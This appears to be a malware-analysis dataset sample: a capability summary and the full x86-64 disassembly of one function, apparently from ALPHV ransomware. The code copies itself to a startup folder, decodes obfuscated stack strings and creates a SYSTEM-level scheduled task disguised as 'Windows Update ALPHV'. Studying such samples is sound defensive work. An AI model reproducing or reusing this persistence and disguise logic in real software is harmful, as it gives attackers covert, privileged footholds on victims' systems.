Function at 0x14001e820
Capabilities:
Accept command line arguments
Contain obfuscated stackstrings
Copy file
Create process on windows
Get common file path
Get startup folder
Schedule task via schtasks
Terminate process
Write file to startup folder

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r14
push r15
lea rbp, [rsp - 0xa30]
sub rsp, 0xb30
mov rax, qword [0x1400a3080]
xor rax, rsp
mov qword [rbp + 0xa20], rax
lea rax, [rbp - 0x68]
xor r15d, r15d
mov qword [rbp - 0x68], r15
mov qword [rbp - 0x60], rax
mov dword [rsp + 0x30], 0x5d26bf
call fcn.1400037e0
test eax, eax
je 0x14001f603
mov dword [rsp + 0x30], 0x5d26bf
call fcn.140001400
mov dword [rsp + 0x30], 0x5d26bf
call fcn.14001e210
cmp dword [0x1400a7100], r15d
jne 0x14001e9e1
mov byte [rsp + 0x38], r15b
mov byte [rsp + 0x39], 0x72
mov byte [rsp + 0x3a], 0x4d
mov byte [rsp + 0x3b], 0x3f
mov byte [rsp + 0x3c], 0x26
mov byte [rsp + 0x3d], 1
mov byte [rsp + 0x3e], 1
mov byte [rsp + 0x3f], r15b
mov byte [rsp + 0x40], 0x26
mov byte [rsp + 0x41], 0x41
mov byte [rsp + 0x42], 0x59
mov byte [rsp + 0x43], 0x66
mov byte [rsp + 0x44], 0x1a
mov byte [rsp + 0x45], 1
mov byte [rsp + 0x46], 7
mov byte [rsp + 0x47], 0x21
mov byte [rsp + 0x48], 0x66
mov byte [rsp + 0x49], 0x7e
mov byte [rsp + 0x4a], 0x26
mov byte [rsp + 0x4b], 0x72
mov byte [rsp + 0x4c], 0x47
mov byte [rsp + 0x4d], 7
mov byte [rsp + 0x4e], 0x47
mov byte [rsp + 0x4f], 0x2d
mov byte [rsp + 0x50], 0x7a
mov byte [rsp + 0x51], 0x53
mov byte [rsp + 0x52], 0x2d
mov byte [rsp + 0x53], 0x2d
mov byte [rsp + 0x54], 2
movzx eax, byte [rsp + 0x39]
movzx eax, byte [rsp + 0x38]
test al, al
jne 0x14001e999
mov r9d, r15d
movzx ecx, byte [rsp + r9 + 0x39]
mov eax, 0x81020409
sub ecx, 2
lea r8d, [rcx + rcx*4]
add r8d, r8d
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub r8d, eax
mov eax, 0x81020409
add r8d, 0x7f
imul r8d
add edx, r8d
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
imul eax, edx, 0x7f
sub r8d, eax
mov byte [rsp + r9 + 0x39], r8b
inc r9
cmp r9, 0x1c
jb 0x14001e941
mov edx, 0xf
mov r8d, 0x20d8fa8c
lea r9d, [rdx + 0x45]
call fcn.140004760
lea r8, [rsp + 0x39]
mov edx, 1
xor ecx, ecx
call rax
mov edx, 0xf
mov r8d, 0xe0c23134
mov rbx, rax
lea r9d, [rdx + 0x53]
call fcn.140004760
xor edx, edx
mov rcx, rbx
call rax
test eax, eax
jne 0x14001f603
call fcn.14001a8e0
mov r8d, 0x104
lea rdx, [rbp + 0x200]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
je 0x14001ea50
lea rcx, [rbp + 0x200]
call qword [sym.imp.SHLWAPI.dll_PathFindFileNameW]
xor r9d, r9d
lea rax, [rbp - 0x10]
xor r8d, r8d
mov qword [rsp + 0x20], rax
xor ecx, ecx
lea edx, [r9 + 0x18]
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
js 0x14001ea50
lea rdx, str.7766.exe
lea rcx, [rbp - 0x10]
call qword [sym.imp.SHLWAPI.dll_PathAppendW]
xor r8d, r8d
lea rdx, [rbp - 0x10]
lea rcx, [rbp + 0x200]
call qword [sym.imp.KERNEL32.dll_CopyFileW]
mov r8d, 0x104
lea rdx, [rbp + 0x410]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov rcx, rax
lea rdx, [rbp - 0x48]
mov rbx, rax
call qword [sym.imp.SHELL32.dll_CommandLineToArgvW]
cmp dword [rbp - 0x48], 1
jle 0x14001eaae
mov rdx, qword [rax + 8]
mov rcx, rbx
call qword [sym.imp.SHLWAPI.dll_StrStrIW]
mov r9, rax
lea r8, [rbp + 0x410]
lea rdx, str._c_SCHTASKS.exe__Create__RU__NT_AUTHORITYSYSTEM___sc_onstart__TN__Windows_Update_ALPHV___TR___s__s___F
lea rcx, [rbp + 0x620]
call qword [sym.imp.USER32.dll_wsprintfW]
jmp 0x14001eac9
lea r8, [rbp + 0x410]
lea rdx, str._c_SCHTASKS.exe__Create__RU__NT_AUTHORITYSYSTEM___sc_onstart__TN__Windows_Update_ALPHV___TR___s___F
lea rcx, [rbp + 0x620]
call qword [sym.imp.USER32.dll_wsprintfW]
mov dword [rsp + 0x28], r15d
lea r9, [rbp + 0x620]
lea r8, str.cmd.exe
mov qword [rsp + 0x20], r15
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteW]
call fcn.140019000
cmp dword [0x1400a3cd0], 0xe
mov edx, 0xf
jne 0x14001ebf0
lea rax, [0x1400a7200]
mov qword [0x1400a7200], r15
lea r9d, [rdx + 0x3a]
mov qword [0x1400a7208], rax
mov r8d, 0xddde40d3
mov qword [0x1400a71c8], 1
mov dword [0x1400a71d0], r15d
call fcn.140004760
lea rcx, [0x1400a71d8]
call rax
mov ecx, 8
call fcn.140054a00
xor ecx, ecx
mov qword [rax], rcx
mov qword [0x1400a71c0], rax
test rax, rax
je 0x14001f603
cmp qword [0x1400a71c8], rcx
mov rbx, r15
mov dword [0x1400a71d0], 1
jbe 0x14001ebc9
nop dword [rax + rax]
mov edx, 0xf
mov r8d, 0x8687ce53
lea r9d, [rdx + 0x43]
call fcn.140004760
lea r9, [0x1400a71c0]
mov qword [rsp + 0x28], r15
lea r8, [0x140025450]
mov dword [rsp + 0x20], r15d
xor edx, edx
xor ecx, ecx
call rax
mov rcx, qword [0x1400a71c0]
mov qword [rcx + rbx*8], rax
inc rbx
cmp rbx, qword [0x1400a71c8]
jb 0x14001eb80
lea rdx, [0x1400a3ce0]
lea rcx, [rsp + 0x58]
call fcn.140017af0
mov rdx, rax
call fcn.140025700
xor ecx, ecx
call fcn.140025840
xor eax, eax
jmp 0x14001f608
mov r9d, 0x5a
mov r8d, 0xde1467b1
call fcn.140004760
lea rcx, [rbp - 0x40]
call rax
movzx r8d, word [rbp - 0x40]
mov eax, 0x55555556
mov dword [rsp + 0x30], 0x5c2023
mov ecx, dword [rsp + 0x30]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
je 0x14001ec82
mov ecx, dword [rsp + 0x30]
add ecx, 2
add ecx, r8d
mov dword [rsp + 0x30], ecx
mov eax, dword [rsp + 0x30]
and eax, 0x80000003
jge 0x14001ec4d
dec eax
or eax, 0xfffffffc
inc eax
test eax, eax
jne 0x14001ecd4
nop word [rax + rax]
mov eax, dword [rsp + 0x30]
inc eax
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
and eax, 0x80000003
jge 0x14001ec7c
dec eax
or eax, 0xfffffffc
inc eax
test eax, eax
je 0x14001ec60
jmp 0x14001ecd4
mov eax, dword [rsp + 0x30]
mov ecx, 2
mov eax, dword [rsp + 0x30]
sub ecx, r8d
add ecx, eax
mov eax, 0x55555556
mov dword [rsp + 0x30], ecx
mov ecx, dword [rsp + 0x30]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
jne 0x14001ecd4
mov eax, dword [rsp + 0x30]
inc eax
mov dword [rsp + 0x30], eax
mov eax, 0x55555556
mov ecx, dword [rsp + 0x30]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
je 0x14001ecb1
cmp dword [0x1400a3cd0], 0xa
jne 0x14001ece2
mov esi, dword [rbp - 0x20]
jmp 0x14001ecec
mov eax, dword [rbp - 0x20]
lea esi, [rax*8]
mov dword [rsp + 0x30], 0x5c2023
mov eax, 0x55555556
mov ecx, dword [rsp + 0x30]
imul ecx
mov r14d, esi
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
je 0x14001ed62
mov ecx, dword [rsp + 0x30]
add ecx, 2
add ecx, esi
mov dword [rsp + 0x30], ecx
mov eax, dword [rsp + 0x30]
and eax, 0x80000003
jge 0x14001ed2f
dec eax
or eax, 0xfffffffc
inc eax
test eax, eax
jne 0x14001edb3
nop word [rax + rax]
mov eax, dword [rsp + 0x30]
inc eax
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
and eax, 0x80000003
jge 0x14001ed5c
dec eax
or eax, 0xfffffffc
inc eax
test eax, eax
je 0x14001ed40
jmp 0x14001edb3
mov eax, dword [rsp + 0x30]
mov ecx, 2
mov eax, dword [rsp + 0x30]
sub ecx, esi
add ecx, eax
mov eax, 0x55555556
mov dword [rsp + 0x30], ecx
mov ecx, dword [rsp + 0x30]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
jne 0x14001edb3
mov eax, dword [rsp + 0x30]
inc eax
mov dword [rsp + 0x30], eax
mov eax, 0x55555556
mov ecx, dword [rsp + 0x30]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
je 0x14001ed90
mov eax, dword [0x1400a3cd0]
add eax, 0xfffffff6
cmp eax, 1
ja 0x14001f023
mov edx, 0xf
mov qword [0x1400a7200], r15
lea rax, [0x1400a7200]
mov qword [0x1400a71c8], r14
mov r8d, 0xddde40d3
mov qword [0x1400a7208], rax
mov dword [0x1400a71d0], r15d
lea r9d, [rdx + 0x3a]
call fcn.140004760
lea rcx, [0x1400a71d8]
call rax
lea rbx, [r14*8]
mov rcx, rbx
call fcn.140054a00
mov r8, rbx
xor edx, edx
mov rcx, rax
mov rdi, rax
call fcn.14007a360
mov qword [0x1400a71c0], rdi
test rdi, rdi
je 0x14001f603
mov dword [rsp + 0x30], 0x5c2023
mov eax, 0x55555556
mov ecx, dword [rsp + 0x30]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
je 0x14001eea2
mov ecx, dword [rsp + 0x30]
add ecx, 2
add ecx, esi
mov dword [rsp + 0x30], ecx
mov eax, dword [rsp + 0x30]
and eax, 0x80000003
jge 0x14001ee75
dec eax
or eax, 0xfffffffc
inc eax
test eax, eax
jne 0x14001eef3
nop dword [rax]
mov eax, dword [rsp + 0x30]
inc eax
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
and eax, 0x80000003
jge 0x14001ee9c
dec eax
or eax, 0xfffffffc
inc eax
test eax, eax
je 0x14001ee80
jmp 0x14001eef3
mov eax, dword [rsp + 0x30]
mov ecx, 2
mov eax, dword [rsp + 0x30]
sub ecx, esi
add ecx, eax
mov eax, 0x55555556
mov dword [rsp + 0x30], ecx
mov ecx, dword [rsp + 0x30]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
jne 0x14001eef3
mov eax, dword [rsp + 0x30]
inc eax
mov dword [rsp + 0x30], eax
mov eax, 0x55555556
mov ecx, dword [rsp + 0x30]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
je 0x14001eed0
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov rcx, rax
mov edx, 0xf
call qword [sym.imp.KERNEL32.dll_SetThreadPriority]
mov rbx, r15
mov dword [0x1400a71d0], 1
cmp qword [0x1400a71c8], rbx
jbe 0x14001ef69
nop dword [rax]
mov edx, 0xf
mov r8d, 0x8687ce53
lea r9d, [rdx + 0x43]
call fcn.140004760
lea r9, [0x1400a71c0]
mov qword [rsp + 0x28], r15
lea r8, [0x140025450]
mov dword [rsp + 0x20], r15d
xor edx, edx
xor ecx, ecx
call rax
mov rcx, qword [0x1400a71c0]
mov qword [rcx + rbx*8], rax
inc rbx
cmp rbx, qword [0x1400a71c8]
jb 0x14001ef20
mov dword [rsp + 0x30], 0x5c2023
mov eax, 0x55555556
mov ecx, dword [rsp + 0x30]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
je 0x14001efd2
mov ecx, dword [rsp + 0x30]
add ecx, 2
add ecx, esi
mov dword [rsp + 0x30], ecx
mov eax, dword [rsp + 0x30]
and eax, 0x80000003
jge 0x14001efa9
dec eax
or eax, 0xfffffffc
inc eax
test eax, eax
jne 0x14001f023
nop dword [rax]
mov eax, dword [rsp + 0x30]
inc eax
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
and eax, 0x80000003
jge 0x14001efcc
dec eax
or eax, 0xfffffffc
inc eax
test eax, eax
je 0x14001efb0
jmp 0x14001f023
mov eax, dword [rsp + 0x30]
mov ecx, 2
mov eax, dword [rsp + 0x30]
sub ecx, esi
add ecx, eax
mov eax, 0x55555556
mov dword [rsp + 0x30], ecx
mov ecx, dword [rsp + 0x30]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
jne 0x14001f023
mov eax, dword [rsp + 0x30]
inc eax
mov dword [rsp + 0x30], eax
mov eax, 0x55555556
mov ecx, dword [rsp + 0x30]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
je 0x14001f000
mov eax, dword [0x1400a3cd0]
add eax, 0xfffffff6
test eax, 0xfffffffd
jne 0x14001f293
mov edx, 0xf
mov qword [0x1400a71b0], r15
lea rax, [0x1400a71b0]
mov qword [0x1400a7178], r14
mov r8d, 0xddde40d3
mov qword [0x1400a71b8], rax
mov dword [0x1400a7180], r15d
lea r9d, [rdx + 0x3a]
call fcn.140004760
lea rcx, [0x1400a7188]
call rax
lea rbx, [r14*8]
mov rcx, rbx
call fcn.140054a00
mov r8, rbx
xor edx, edx
mov rcx, rax
mov rdi, rax
call fcn.14007a360
mov qword [0x1400a7170], rdi
test rdi, rdi
je 0x14001f603
mov dword [rsp + 0x30], 0x5c2023
mov eax, 0x55555556
mov ecx, dword [rsp + 0x30]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
je 0x14001f112
mov ecx, dword [rsp + 0x30]
add ecx, 2
add ecx, esi
mov dword [rsp + 0x30], ecx
mov eax, dword [rsp + 0x30]
and eax, 0x80000003
jge 0x14001f0e7
dec eax
or eax, 0xfffffffc
inc eax
test eax, eax
jne 0x14001f163
nop dword [rax + rax]
mov eax, dword [rsp + 0x30]
inc eax
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
and eax, 0x80000003
jge 0x14001f10c
dec eax
or eax, 0xfffffffc
inc eax
test eax, eax
je 0x14001f0f0
jmp 0x14001f163
mov eax, dword [rsp + 0x30]
mov ecx, 2
mov eax, dword [rsp + 0x30]
sub ecx, esi
add ecx, eax
mov eax, 0x55555556
mov dword [rsp + 0x30], ecx
mov ecx, dword [rsp + 0x30]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
jne 0x14001f163
mov eax, dword [rsp + 0x30]
inc eax
mov dword [rsp + 0x30], eax
mov eax, 0x55555556
mov ecx, dword [rsp + 0x30]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
je 0x14001f140
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov rcx, rax
mov edx, 0xf
call qword [sym.imp.KERNEL32.dll_SetThreadPriority]
mov rbx, r15
mov dword [0x1400a7180], 1
cmp qword [0x1400a7178], rbx
jbe 0x14001f1d9
nop dword [rax]
mov edx, 0xf
mov r8d, 0x8687ce53
lea r9d, [rdx + 0x43]
call fcn.140004760
lea r9, [0x1400a7170]
mov qword [rsp + 0x28], r15
lea r8, [0x140025450]
mov dword [rsp + 0x20], r15d
xor edx, edx
xor ecx, ecx
call rax
mov rcx, qword [0x1400a7170]
mov qword [rcx + rbx*8], rax
inc rbx
cmp rbx, qword [0x1400a7178]
jb 0x14001f190
mov dword [rsp + 0x30], 0x5c2023
mov eax, 0x55555556
mov ecx, dword [rsp + 0x30]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
je 0x14001f242
mov ecx, dword [rsp + 0x30]
add ecx, 2
add ecx, esi
mov dword [rsp + 0x30], ecx
mov eax, dword [rsp + 0x30]
and eax, 0x80000003
jge 0x14001f219
dec eax
or eax, 0xfffffffc
inc eax
test eax, eax
jne 0x14001f293
nop dword [rax]
mov eax, dword [rsp + 0x30]
inc eax
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
and eax, 0x80000003
jge 0x14001f23c
dec eax
or eax, 0xfffffffc
inc eax
test eax, eax
je 0x14001f220
jmp 0x14001f293
mov eax, dword [rsp + 0x30]
mov ecx, 2
mov eax, dword [rsp + 0x30]
sub ecx, esi
add ecx, eax
mov eax, 0x55555556
mov dword [rsp + 0x30], ecx
mov ecx, dword [rsp + 0x30]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
jne 0x14001f293
mov eax, dword [rsp + 0x30]
inc eax
mov dword [rsp + 0x30], eax
mov eax, 0x55555556
mov ecx, dword [rsp + 0x30]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
je 0x14001f270
lea rax, [rbp - 0x58]
mov qword [rbp - 0x58], r15
lea rcx, [rbp - 0x58]
mov qword [rbp - 0x50], rax
call fcn.140023e50
lea rcx, [rbp - 0x58]
call fcn.140005a60
xor ecx, ecx
call fcn.140006050
call fcn.140019610
sub eax, 0xa
cmp eax, 1
ja 0x14001f571
lea rcx, [rbp - 0x68]
call fcn.140013f20
test eax, eax
je 0x14001f571
mov dword [rsp + 0x30], 0x5c2023
mov eax, 0x55555556
mov ecx, dword [rsp + 0x30]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
je 0x14001f352
mov ecx, dword [rsp + 0x30]
mov eax, dword [rbp - 0x68]
add eax, 2
add ecx, eax
mov dword [rsp + 0x30], ecx
mov eax, dword [rsp + 0x30]
and eax, 0x80000003
jge 0x14001f31d
dec eax
or eax, 0xfffffffc
inc eax
test eax, eax
jne 0x14001f3a4
nop word [rax + rax]
mov eax, dword [rsp + 0x30]
inc eax
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
and eax, 0x80000003
jge 0x14001f34c
dec eax
or eax, 0xfffffffc
inc eax
test eax, eax
je 0x14001f330
jmp 0x14001f3a4
mov eax, dword [rsp + 0x30]
mov ecx, 2
sub ecx, dword [rbp - 0x68]
mov eax, dword [rsp + 0x30]
add eax, ecx
mov dword [rsp + 0x30], eax
mov eax, 0x55555556
mov ecx, dword [rsp + 0x30]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
jne 0x14001f3a4
mov eax, dword [rsp + 0x30]
inc eax
mov dword [rsp + 0x30], eax
mov eax, 0x55555556
mov ecx, dword [rsp + 0x30]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
je 0x14001f381
mov dword [rsp + 0x30], 0x5c2023
mov eax, 0x55555556
mov ecx, dword [rsp + 0x30]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
mov eax, dword [rsp + 0x30]
je 0x14001f402
add eax, 2
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
test dword [rsp + 0x30], 0x80000003
jne 0x14001f453
nop
mov eax, dword [rsp + 0x30]
inc eax
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
and eax, 0x80000003
jge 0x14001f3fc
dec eax
or eax, 0xfffffffc
inc eax
test eax, eax
je 0x14001f3e0
jmp 0x14001f453
mov eax, dword [rsp + 0x30]
add eax, 2
mov dword [rsp + 0x30], eax
mov eax, 0x55555556
mov ecx, dword [rsp + 0x30]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
jne 0x14001f453
nop word [rax + rax]
mov eax, dword [rsp + 0x30]
inc eax
mov dword [rsp + 0x30], eax
mov eax, 0x55555556
mov ecx, dword [rsp + 0x30]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
je 0x14001f430
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov rcx, rax
mov edx, 0xf
call qword [sym.imp.KERNEL32.dll_SetThreadPriority]
mov rbx, qword [rbp - 0x68]
test rbx, rbx
je 0x14001f571
nop dword [rax]
nop dword [rax + rax]
mov rdx, rbx
lea rcx, [rsp + 0x78]
call fcn.140017af0
mov rdx, rax
call fcn.140025700
mov rcx, rbx
call fcn.140013910
mov r9, rax
mov dword [rsp + 0x30], 0x5c2023
mov r8d, dword [rsp + 0x30]
mov eax, 0x55555556
imul r8d
mov ecx, edx
shr ecx, 0x1f
add edx, ecx
lea ecx, [rdx + rdx*2]
cmp r8d, ecx
je 0x14001f512
mov ecx, dword [rsp + 0x30]
add ecx, 2
add ecx, r9d
mov dword [rsp + 0x30], ecx
mov eax, dword [rsp + 0x30]
and eax, 0x80000003
jge 0x14001f4e4
dec eax
or eax, 0xfffffffc
inc eax
test eax, eax
jne 0x14001f564
nop dword [rax + rax]
mov eax, dword [rsp + 0x30]
inc eax
mov dword [rsp + 0x30], eax
mov eax, dword [rsp + 0x30]
and eax, 0x80000003
jge 0x14001f50c
dec eax
or eax, 0xfffffffc
inc eax
test eax, eax
je 0x14001f4f0
jmp 0x14001f564
mov eax, dword [rsp + 0x30]
mov ecx, 2
mov eax, dword [rsp + 0x30]
sub ecx, r9d
add ecx, eax
mov eax, 0x55555556
mov dword [rsp + 0x30], ecx
mov ecx, dword [rsp + 0x30]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
jne 0x14001f564
mov eax, dword [rsp + 0x30]
inc eax
mov dword [rsp + 0x30], eax
mov eax, 0x55555556
mov ecx, dword [rsp + 0x30]
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
cmp ecx, eax
je 0x14001f541
mov rbx, qword [rbx + 0x20]
test rbx, rbx
jne 0x14001f480
call fcn.140019610
sub eax, 0xa
test eax, 0xfffffffd
jne 0x14001f594
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov rcx, rax
mov edx, 0xf
call qword [sym.imp.KERNEL32.dll_SetThreadPriority]
xor ecx, ecx
call fcn.140025820
test eax, eax
je 0x14001f5ba
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov rcx, rax
mov edx, 0xf
call qword [sym.imp.KERNEL32.dll_SetThreadPriority]
xor ecx, ecx
call fcn.140025840
mov ecx, 1
call fcn.140025820
test eax, eax
je 0x14001f5e6
call qword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov rcx, rax
mov edx, 0xf
call qword [sym.imp.KERNEL32.dll_SetThreadPriority]
mov ecx, 1
call fcn.140025840
call fcn.1400232e0
call fcn.140022ca0
call fcn.140023760
call fcn.140023320
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov eax, 1
mov rcx, qword [rbp + 0xa20]
xor rcx, rsp
call fcn.14004dfe0
lea r11, [rsp + 0xb30]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop rbp
ret